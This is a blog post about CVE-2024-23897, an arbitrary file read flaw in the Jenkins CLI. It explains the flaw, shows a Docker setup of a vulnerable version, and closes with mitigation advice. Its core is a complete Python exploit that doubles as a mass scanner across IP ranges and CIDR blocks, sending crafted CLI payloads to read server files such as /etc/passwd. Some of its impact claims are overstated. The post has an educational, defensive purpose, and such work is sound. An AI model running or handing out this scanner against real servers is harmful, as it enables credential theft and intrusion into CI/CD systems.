Introduction:
The continuous integration and continuous delivery (CI/CD) world was shaken recently by the disclosure of CVE-2024-23897, a critical remote code execution (RCE) vulnerability affecting Jenkins, a popular open-source automation server. This blog dives deep into the technical details of this vulnerability, exploring its origin, potential impact, and available mitigation strategies.
Unpacking the Vulnerability:
CVE-2024-23897 exploits a feature in the args4j library used by Jenkins' CLI. This feature, expandAtFiles, replaces @ characters followed by file paths in arguments with the contents of those files. While on the surface it might seem convenient, it opens a gaping security hole.
Let's dissect the exploit vector:
Triggering the Vulnerability: An attacker with Overall/Read permission crafts a malicious CLI command containing an @ symbol followed by the path to a sensitive file on the Jenkins controller, for example, @credentials/admin.yaml.
Argument Parsing: When Jenkins parses the command with args4j, it encounters the @ symbol and activates the expandAtFiles feature.
File Expansion: Without any authentication or access checks, Jenkins blindly reads the entire contents of the specified file and replaces the @ symbol with the file's data.
Information Disclosure: The expanded data, potentially containing sensitive credentials or configuration secrets, becomes accessible to the attacker through the CLI output or further API calls.
Exploit PoC:
To perform a CVE-2024-23897 proof of concept, we need to first configure a vulnerable version of Jenkins. We will use docker to simplify the setup:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441
This will download the docker image of version 2.441 which is vulnerable to the CVE being discussed in this blog. It will also show us the initial admin user password to access the Jenkins dashboard.
Once the Jenkins server is up and running, we can initiate our attack by using the following exploit code:
import threading
import http.client
import time
import uuid
import sys
import urllib.parse
import argparse
import ipaddress
BLUE = "\033[94m"
GREEN = "\033[92m"
RED = "\033[91m"
ENDC = "\033[0m"
CONTENT_TYPE_OCTET_STREAM = 'application/octet-stream'
def display_help_message():
parser.print_help()
def display_banner():
banner = """CVE-2024-23897"""
print(BLUE + banner + ENDC)
def expand_cidr(cidr):
try:
ip_network = ipaddress.ip_network(cidr, strict=False)
return [str(ip) for ip in ip_network.hosts()]
except ValueError:
return []
def expand_range(ip_range):
start_ip, end_ip = ip_range.split('-')
start_ip = ipaddress.ip_address(start_ip)
end_ip = ipaddress.ip_address(end_ip)
return [str(ipaddress.ip_address(start_ip) + i) for i in range(int(end_ip) - int(start_ip) + 1)]
def expand_list(ip_list):
return ip_list.split(',')
def generate_ip_list(target):
if '-' in target:
return expand_range(target)
elif ',' in target:
return expand_list(target)
elif '/' in target:
return expand_cidr(target)
else:
return [target]
def handle_target(target_url, session_id, data_bytes):
print(BLUE + f"🔍 Scanning {target_url}" + ENDC)
if args.output_file:
write_to_output_file(args.output_file, f"🔍 Scanning {target_url}")
download_thread = threading.Thread(target=send_download_request, args=(target_url, session_id))
upload_thread = threading.Thread(target=send_upload_request, args=(target_url, session_id, data_bytes))
download_thread.start()
time.sleep(0.1)
upload_thread.start()
download_thread.join()
upload_thread.join()
def send_download_request(target_url, session_id):
try:
parsed_url = urllib.parse.urlparse(target_url)
connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10)
connection.request("POST", "/cli?remoting=false", headers={
"Session": session_id,
"Side": "download"
})
response = connection.getresponse().read()
result = f"💣 Exploit Response from {target_url}: \n{response.decode()}"
print(GREEN + result + ENDC)
if args.output_file:
write_to_output_file(args.output_file, result)
except Exception as e:
error_message = f"❌ {target_url} not reachable: {e}\n"
print(RED + error_message + ENDC)
if args.output_file:
write_to_output_file(args.output_file, error_message)
def send_upload_request(target_url, session_id, data_bytes):
try:
parsed_url = urllib.parse.urlparse(target_url)
connection = http.client.HTTPConnection(parsed_url.netloc, timeout=10)
connection.request("POST", "/cli?remoting=false", headers={
"Session": session_id,
"Side": "upload",
"Content-type": CONTENT_TYPE_OCTET_STREAM
}, body=data_bytes)
response = connection.getresponse().read()
except Exception as e:
pass
def read_hosts_from_file(file_path):
with open(file_path, 'r') as file:
return [line.strip() for line in file if line.strip()]
def write_to_output_file(file_path, data):
with open(file_path, 'a', encoding='utf-8') as file:
file.write(data + '\n')
parser = argparse.ArgumentParser(description='CVE-2024-23897 | Jenkins <= 2.441 & <= LTS 2.426.2 exploitation and scanner.')
group = parser.add_mutually_exclusive_group(required=True)
group.add_argument('-t', '--target', help='Target specification. Can be a single IP (e.g., 192.168.1.1), a range of IPs (e.g., 192.168.1.1-192.168.1.255), a list of IPs separated by commas (e.g., 192.168.1.1,192.168.1.2), or a CIDR block (e.g., 192.168.1.0/24).')
group.add_argument('-i', '--input-file', help='Path to input file containing hosts.')
parser.add_argument('-p', '--port', type=int, default=8080, help='Port number. Default is 8080.')
parser.add_argument('-f', '--file', required=True, help='File to read on the target system. Only maximum of 3 lines can be extracted.')
parser.add_argument('-o', '--output-file', help='Path to output file for saving the results.')
display_banner()
if len(sys.argv) == 1:
display_help_message()
sys.exit(1)
args = parser.parse_args()
data_bytes = (
b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' +
args.file.encode() +
b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
)
if args.input_file:
target_urls = read_hosts_from_file(args.input_file)
else:
target_ips = generate_ip_list(args.target)
target_urls = [f'http://{target_ip}:{args.port}' for target_ip in target_ips]
for target_url in target_urls:
session_id = str(uuid.uuid4())
handle_target(target_url, session_id, data_bytes)
To initiate the exploit, we need to provide the target IP, port and the file we want to read from the server, to the exploit script.
python CVE-2024-23897.py -t 127.0.0.1 -p 8080 -f /etc/passwd
If the exploit is successful, we will be able to read the file we pass as an argument to the exploit script.
We can further verify the file content by getting into the docker container. First find out the container id:
docker ps -a
Now get a container bash shell:
sudo docker exec -it <container-id> bash
Now read the target file we tested with our exploit script.
cat /etc/passwd
Impact:
An attacker with Overall/Read permission can craft malicious CLI commands containing @ symbols followed by paths to sensitive files like credentials, private keys, or configuration files. Upon execution, Jenkins automatically expands the @ characters, revealing the contents of these files to the attacker. This information can then be used to:
Steal sensitive data: Gain access to passwords, tokens, encryption keys, and other confidential information stored within Jenkins.
Deploy malicious code: Upload and execute arbitrary code on the Jenkins server, potentially taking control of CI/CD pipelines and compromising connected systems.
Disrupt CI/CD workflows: Manipulate build configurations, deploy broken code, or sabotage critical automation processes.
Mitigation Strategies:
Fortunately, several steps can be taken to mitigate the risk of CVE-2024-23897:
Upgrade Jenkins: The Jenkins security team released patches for all affected versions. Immediately upgrade to Jenkins 2.442 or LTS 2.426.3 or later to disable the expandAtFiles feature by default.
Restrict Overall/Read permission: Limit access to the Overall/Read permission only to authorized users or applications that absolutely require it.
Disable unnecessary plugins: Some plugins might utilize the vulnerable expandAtFiles feature. Consider disabling non-essential plugins and thoroughly review the security implications of plugin usage.
Scan for exploits: Use vulnerability scanners and security monitoring tools to detect and alert on potential attempts to exploit CVE-2024-23897.
Practice secure coding: Developers should be aware of potential security vulnerabilities in libraries and dependencies and implement secure coding practices.
Conclusion:
CVE-2024-23897 highlights the importance of proactive vulnerability management in CI/CD environments. By understanding the technical details of this vulnerability and implementing robust mitigation strategies, organizations can protect their Jenkins servers and ensure the security and integrity of their CI/CD pipelines. We encourage all Jenkins users to prioritize patching this vulnerability promptly and consider ongoing security best practices to safeguard their automated workflows.
Additional Resources:
NVD Entry for CVE-2024-23897: https://nvd.nist.gov/vuln/detail/cve-2024-23897